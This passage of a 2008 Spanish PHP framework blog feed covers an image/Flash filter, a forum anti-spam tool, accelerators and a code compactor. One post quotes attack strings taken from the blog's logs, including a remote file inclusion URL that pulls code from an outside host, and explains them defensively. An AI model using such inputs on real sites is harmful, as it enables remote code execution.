  </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">strtolower</span><span class="hl-brackets">(</span><span class="hl-identifier">substr</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-code">,-</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-brackets">))</span><span class="hl-code">==</span><span class="hl-quotes">"</span><span class="hl-string">swf</span><span class="hl-quotes">"</span><span class="hl-brackets">){
   </span><span class="hl-var">$p</span><span class="hl-code"> = </span><span class="hl-reserved">new </span><span class="hl-identifier">zen_plantilla</span><span class="hl-brackets">(</span><span class="hl-quotes">"</span><span class="hl-string">flash/producto.html</span><span class="hl-quotes">"</span><span class="hl-brackets">)</span><span class="hl-code">;
   </span><span class="hl-var">$p</span><span class="hl-code">-&gt;</span><span class="hl-identifier">reemplazar</span><span class="hl-brackets">(</span><span class="hl-quotes">"</span><span class="hl-string">flash</span><span class="hl-quotes">"</span><span class="hl-code">,</span><span class="hl-identifier">substr</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-code">,</span><span class="hl-number">0</span><span class="hl-code">,</span><span class="hl-identifier">strlen</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-brackets">)</span><span class="hl-code">-</span><span class="hl-number">4</span><span class="hl-brackets">))</span><span class="hl-code">;
   </span><span class="hl-reserved">return </span><span class="hl-var">$p</span><span class="hl-code">-&gt;</span><span class="hl-reserved">contenido</span><span class="hl-code">;
  </span><span class="hl-brackets">} </span><span class="hl-reserved">else </span><span class="hl-brackets">{
   </span><span class="hl-reserved">return </span><span class="hl-quotes">'</span><span class="hl-string">&lt;img src="/media/img/productos/</span><span class="hl-quotes">'</span><span class="hl-code">.</span><span class="hl-var">$campo</span><span class="hl-code">.</span><span class="hl-quotes">'</span><span class="hl-string">"&gt;</span><span class="hl-quotes">'</span><span class="hl-code">;
  </span><span class="hl-brackets">}
 }
</span><span class="hl-inlinetags">?&gt;</span></pre>
</td>
</tr>
</tbody>
</table>
<p> </p>
<p>Ahora, desde donde queramos podemos llamar al modelo de datos donde está la imagen y representarla por medio de su visualizador html, por ejemplo, desde el visualizador html principal de la aplicación de nuestro sistema, donde hemos definido el modelo de datos en una variable llamada $productos en la aplicación, por lo tanto las dos líneas que necesitamos son:</p>
<p> </p>
<p>$this-&gt;padre-&gt;productos-&gt;filtros_postprocesamiento = array(&#8220;imagen&#8221; =&gt; array($this-&gt;padre-&gt;productos-&gt;html,&#8221;detectar_imagen_o_flash&#8221;));</p>
<p><span> </span> $this-&gt;c['contenido'] = $this-&gt;padre-&gt;productos-&gt;html-&gt;mostrar($datos[1],&#8221;productos/ver_producto.html&#8221;);</p>
<p>La primera especifica para el padre de este visualizador html de la aplicación, en su variable productos que es el modelo, los filtros para después de cargar los datos de una tupla, al campo imagen le vamos a pasar el filtro de la función que hemos creado en el paso anterior, pero tenemos que especificar dónde está desde aquí, la ruta por la jerarquía de nuestra aplicación es tan sencilla como ir al padre luego al modelo y a su visualizador, allí está la función.</p>
<p>La segunda línea guarda en el array de contenido (puntero al array de la aplicacion-&gt;contenido) en la etiqueta del contenido de nuestra web, la visualización de datos de una tupla especificada por el id numérico que es la llave principal de la tabla del modelo de productos y le decimos la plantilla que vamos a usar, donde habrá un hueco para el campo llamado &#8220;#imagen#&#8221;.</p>
<p>Y así concluye este ejemplo, algo tan sencillo puede verse <a title="Ejemplo del filtrado" href="http://www.empresayjuventud.com/productos/frescos/9/Acelgas.html" target="_blank">funcionando.</a></p>
<p>Al detectarse una imagen ,se muestra &lt;img&gt; ,si es un flash se escribe el &lt;object&gt; con un &lt;script&gt;.</p>
<p>A triunfar!!</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=173&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_173"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/09/30/howto-filtrar-datos-de-forma-avanzada-pero-pensando-como-un-principiante/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Aplicaciones web seguras</title>
		<link>http://blog.zenphp.es/2008/04/20/aplicaciones-web-seguras/</link>
		<comments>http://blog.zenphp.es/2008/04/20/aplicaciones-web-seguras/#comments</comments>
		<pubDate>Sun, 20 Apr 2008 08:00:26 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=124</guid>
		<description><![CDATA[Escribí hace algún tiempo un artículo donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente&#8230;y por qué existe un riesgo mayor mientras más fama tenga&#8230;
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí [...]]]></description>
			<content:encoded><![CDATA[<p>Escribí hace algún tiempo <a href="http://blog.zenphp.es/2008/03/04/razones-para-usar-las-clases-de-zenphpeficiencia-y-seguridad/">un artículo</a> donde explicaba el problema de que se diera mucho a conocer un software hasta que mucha gente lo usara ,comentándolo públicamente&#8230;y por qué existe un riesgo mayor mientras más fama tenga&#8230;<br />
He encontrado indicios de intentos de explotación de agujeros de distinta índole en los logs de este blog, aquí teneis ejemplos de lo que se pretende hacer&#8230;</p>
<h4>¡¡Lanzamiento de caña!!</h4>
<ul>
<li>Con la siguiente dirección:<br />
home.php?section=http://www.backbreakacres.com/22/test.txt??<br />
se pretende inyectar un ataque con una línea de ejecución de comando de consola, detectando previamente el sistema operativo para lanzar un servicio de red&#8230;para ello se necesita comprobar si el parámetro <a href="http://es.php.net/features.safe-mode" target="_blank">safe_mode</a> de PHP está activado&#8230;algo relativamente sencillo que puede ser testeado rápidamente y tiene <a title="Ver un ejemplo" href="http://granadaphp.agenciaq4.com/?p=51" target="_blank">grabes consecuencias</a>&#8230;</li>
<li>Por medio del siguiente ataque<br />
URL%20http://yoshishome.chat.ru/images se intenta engañar a un controlador de una aplicación web<br />
con la aspiración ni más ni menos que de insertar todo un conjunto de órdenes en una cadena que está ofuscada y encriptada para que los analizadores de código no encuentren ninguna linea u orden sospechosa en tiempo de ejecución, recordemos el peligro de la función <a href="http://es.php.net/eval" target="_blank">eval() </a>de PHP&#8230;</li>
<li>Técnicas raras usando métodos que concatenan dirección tras dirección con parámetros ++GET para engañar al analizador de .htaccess de Apache y conseguir descargar ficheros ,etc.</li>
</ul>
<p>A esto se ha de añadir otros tipos de ataque como las <a title="Ver cambios en las clases para evitar estos ataques" href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/?rev=284&amp;sc=1" target="_blank">inyecciones de SQL</a> en los formularios, modificación de cookies de sesión, des-habilitación de JavaScript, antes,mientras y tras la carga de una web, alteración del envío de una petición por métodos POST y GET, aprovechar vulnerabilidades conocidas en general de PHP, como la escritura de ficheros y <a href="https://forja.rediris.es/forum/message.php?msg_id=1841" target="_blank">ataques XSS</a>&#8230;etc.<br />
Por eso, un buen framework ha de pensar en estas cosas tan importantes y dar soluciones a la altura, en mi caso,he propuesto algunas&#8230;y están implementadas de forma transparente.<br />
Si no teníamos suficiente con diseñar las webs para cada tipo de navegador (y S.O.) además tenemos que estar atentos a los ataques del exterior, jeje</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=124&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_124"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/04/20/aplicaciones-web-seguras/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pruebas con caché y anti-spam para la forja</title>
		<link>http://blog.zenphp.es/2008/04/06/pruebas-con-cache-y-anti-spam-para-la-forja/</link>
		<comments>http://blog.zenphp.es/2008/04/06/pruebas-con-cache-y-anti-spam-para-la-forja/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 12:24:16 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[Generadores]]></category>
		<category><![CDATA[Progreso]]></category>
		<category><![CDATA[akismet]]></category>
		<category><![CDATA[anti-spam]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[forja]]></category>
		<category><![CDATA[foros]]></category>
		<category><![CDATA[pruebas]]></category>
		<category><![CDATA[rediris]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=97</guid>
		<description><![CDATA[Hace tiempo que me procuré de encontrar un método eficaz y simple para evitar spam en los foros de la forja pero nunca lo encontré, asi que ideé uno, por si teneis problemas con el spam en vuestros foros aquí teneis el código, son sólo dos ficheros, vuestro servidor necesita tener CURL instalado.

Generador de enlaces [...]]]></description>
			<content:encoded><![CDATA[<p>Hace tiempo que me procuré de encontrar un método eficaz y simple para evitar spam en los foros de la forja pero nunca lo encontré, asi que ideé uno, por si teneis problemas con el spam en vuestros foros aquí teneis el código, <strong>son sólo dos ficheros</strong>, vuestro servidor necesita tener <a title="Ver manual de CURL" href="http://es.php.net/curl" target="_blank">CURL</a> instalado.</p>
<ol>
<li><a title="borra_spam.php" href="http://www.zenphp.es/plantillas/borra_spam.phps" target="_blank"><strong>Generador </strong>de enlaces de spam en los foros de tu proyecto de la Forja</a></li>
<li><a title="iframe.php" href="http://www.zenphp.es/plantillas/iframe.phps" target="_blank"><strong>Iframe </strong>que incrusta los formularios para borrar los mensajes de spam</a></li>
</ol>
<p>Para que funcione, sólo debéis colocarlo en vuestro servidor, y llamar a miservidor.es/borra_spam.php.<br />
Para configurarlo:</p>
<ul>
<li><strong><em>$id_proyecto</em></strong> es vuestro número de proyecto, aparece cuando pincháis en los foros de vuestro proyecto ( ?group_id=#___# ) donde #___# es vuestro ID de proyecto</li>
<li><strong><em>$id_foros</em></strong> es un array con todos los identificadores de los foros que tengais: (?forum_id=#___#) donde #___# es vuestro id de foro</li>
<li><strong><em>$palabra</em></strong> es la/s palabra/s que hay  en los mensaje de spam&#8230;y ¡cuidado! debe ser una sentencia única, porque es peligroso y podeis borrar mensajes que no queríais borrar sin poder recuperarlos&#8230;podeis probar qué encuentra con el buscador en el que se basa este generador de anti-spam con el genial buscador avanzado que trae la Forja en:
<p>https://forja.rediris.es/search/advanced_search.php?group_id=#___#</p>
<p>donde #___# es vuestro id de proyecto.</li>
</ul>
<p>El generador de enlaces de spam recorrerá los foros especificados abriendo una conexión con el buscador avanzado, es por eso que debeis tener una sesión abierta como administrador para que aparezcan los formularios de edición y se pueda establecer la conexión correctamente al hacer el envío pinchando en cada uno de los botones &#8220;Borrar&#8221; de cada iframe, que aparecerán por cada acierto de la/s palabra/s encontradas en los foros del proyecto, en mi caso , el atacante spam me envia cada dia una ristra de posts donde aparece la palabra drug, cosa que no suelo utilizar XD en mis foros, por eso puedo encontrarlo y borrarlo rápidamente.</p>
<p>Aquí una captura:</p>
<p><a href="http://blog.zenphp.es/wp-content/uploads/2008/04/borrador.gif"><img class="alignnone size-full wp-image-98" title="borrador" src="http://blog.zenphp.es/wp-content/uploads/2008/04/borrador.gif" alt="" width="533" height="171" /></a></p>
<p>Cambiando de tema, en <a href="https://forja.rediris.es/forum/forum.php?forum_id=962" target="_blank">este foro</a> hay nuevas pruebas con Akismet para vuestras aplicaciones así como de un ejemplo de caché.</p>
<p>Pasaré a explicar un poco mejor como funciona esto de la caché: esto es lo que hace que vuestras aplicaciones suban muchos puntos en cuanto a <strong>rendimiento</strong>,tal como hace <a title="Abrir el análisis de los temas de Drupal" href="https://forja.rediris.es/pm/task.php?func=detailtask&amp;project_task_id=763&amp;group_id=252&amp;group_project_id=486" target="_blank">Drupal</a>, de forma que  se guardan en la caché contenidos que no vayan a cambiar mucho,estableciéndose el tiempo límite y asi, cargar el contenido generado (sólo una vez) desde un fichero en lugar de procesarlo todo muchas veces, es un truco que también usa Wordpress, sin embargo se puede utilizar para cualquier parte de la aplicación, por ejemplo si lleváis un número de comentarios en un artículo mayor de 50, es tonteria leerlos todos y aplicarles las plantillas, en lugar de eso, se genera hasta un número límite de 50, se guarda una vez y se establece una caché para esos primeros cincuenta.</p>
<p>En cuanto al progreso, se ha avanzado mucho con el gestor de contenidos, el generador está a punto para insertar dicho generador como un administrador con una aplicación zen_aplicacion_administrador&#8230;</p>
<p>Salu2!</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=97&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_97"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/04/06/pruebas-con-cache-y-anti-spam-para-la-forja/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Pisando el acelerador con zenphp</title>
		<link>http://blog.zenphp.es/2008/03/21/pisando-el-acelerador-con-zenphp/</link>
		<comments>http://blog.zenphp.es/2008/03/21/pisando-el-acelerador-con-zenphp/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 15:45:18 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[aceleradores php]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[eficiencia]]></category>
		<category><![CDATA[iis]]></category>
		<category><![CDATA[servidores]]></category>
		<category><![CDATA[zenphp]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/2008/03/21/pisando-el-acelerador-con-zenphp/</guid>
		<description><![CDATA[ 				Hay un nuevo documento en la sección de documentos de zenphp en la forja
https://forja.rediris.es/docman/?group_id=252
donde se exponen los distintos métodos para acelerar PHP y zenphp al máximo en nuestro servidor asi como nuestras aplicaciones!  
Ésta es la dirección:
https://forja.rediris.es/docman/view.php/252/521/AceleradoresPHP_final.pdf
He escrito además un pequeño artículo acerca de los aceleradores en forma de plugin para Wordpress, en [...]]]></description>
			<content:encoded><![CDATA[<p> 				Hay un nuevo documento en la sección de documentos de zenphp en la forja<br />
<a href="https://forja.rediris.es/docman/?group_id=252" target="_new">https://forja.rediris.es/docman/?group_id=252</a><br />
donde se exponen los distintos métodos para acelerar PHP y zenphp al máximo en nuestro servidor asi como nuestras aplicaciones! <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Ésta es la dirección:<br />
<a href="https://forja.rediris.es/docman/view.php/252/521/AceleradoresPHP_final.pdf" target="_new">https://forja.rediris.es/docman/view.php/252/521/AceleradoresPHP_final.pdf</a></p>
<p>He escrito además un <a href="http://granadaphp.agenciaq4.com/?p=60">pequeño artículo</a> acerca de los aceleradores en forma de plugin para Wordpress, en la web de la comunidad de PHP granadina : <a href="http://granadaphp.agenciaq4.com/">GranadaPHP</a>.</p>
<p>Que la santa semana esté con vosotros ,aquí y ahora.</p>
<p>Saludos.</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=81&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_81"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/03/21/pisando-el-acelerador-con-zenphp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Primeras pruebas con el compactador de zenphp</title>
		<link>http://blog.zenphp.es/2008/02/21/primeras-pruebas-con-el-compactador-de-zenphp/</link>
		<comments>http://blog.zenphp.es/2008/02/21/primeras-pruebas-con-el-compactador-de-zenphp/#comments</comments>
		<pubDate>Thu, 21 Feb 2008 18:06:50 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Progreso]]></category>
		<category><![CDATA[compactar]]></category>
		<category><![CDATA[compresión]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[plantillas]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/2008/02/21/primeras-pruebas-con-el-compactador-de-zenphp/</guid>
		<description><![CDATA[Las primeras pruebas del compactador de HTML,JavaScript y CSS integrado en zenphp ,para su uso en la clase zen_plantilla está siendo todo un éxito, aunque el algoritmo es sencillo,ya que es usado para compactar/comprimir los espacios en blanco y demás caracteres sobrantes, puede reemplazarse dicha llamada por otra función como la de la librería: minify.
Un [...]]]></description>
			<content:encoded><![CDATA[<p>Las primeras pruebas del <a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/clases/clase_zen_compactador.php?op=file&amp;rev=0&amp;sc=0">compactador </a>de HTML,JavaScript y CSS integrado en zenphp ,para su uso en la clase zen_plantilla está siendo todo un éxito, aunque el algoritmo es sencillo,ya que es usado para compactar/comprimir los espacios en blanco y demás caracteres sobrantes, puede reemplazarse dicha llamada por otra función como la de la librería: <a href="http://code.google.com/p/minify/" target="_blank" title="Abrir la página del algoritmo compactador">minify</a>.</p>
<p>Un programa de ejemplo es tan sencillo como lo siguiente:</p>
<p style="overflow: auto">&nbsp;</p>
<pre style="background: #f6f8ff none repeat scroll 0% 50%; color: #000020; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"><span style="background: #cceeee none repeat scroll 0% 50%; color: #0057a6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&lt;?php</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #200080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold">require_once</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'zenphp/clases/clase_zen_compactador.php'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">file_get_contents</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'http://www.elpais.es/'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$tamano_antes</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">mb_strlen</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">,</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'8bit'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$compactador</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #200080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold">new</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> zen_compactador</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #200080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold">array</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #1060b6; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">'mostrar_buffer'</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&gt;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #200080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; font-weight: bold">false</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$compactador</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">-</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">&gt;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">destructor</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">(</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$html</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">)</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #406080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">;</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"></span>
<span style="background: #cceeee none repeat scroll 0% 50%; color: #007d45; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">$tamano_despues</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">=</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #000000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial"> </span><span style="background: #cceeee none repeat scroll 0% 50%; color: #400000; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial">mb_strlen</span><span style="background: #cceeee none repeat scroll 0% 50%; color: #308080; 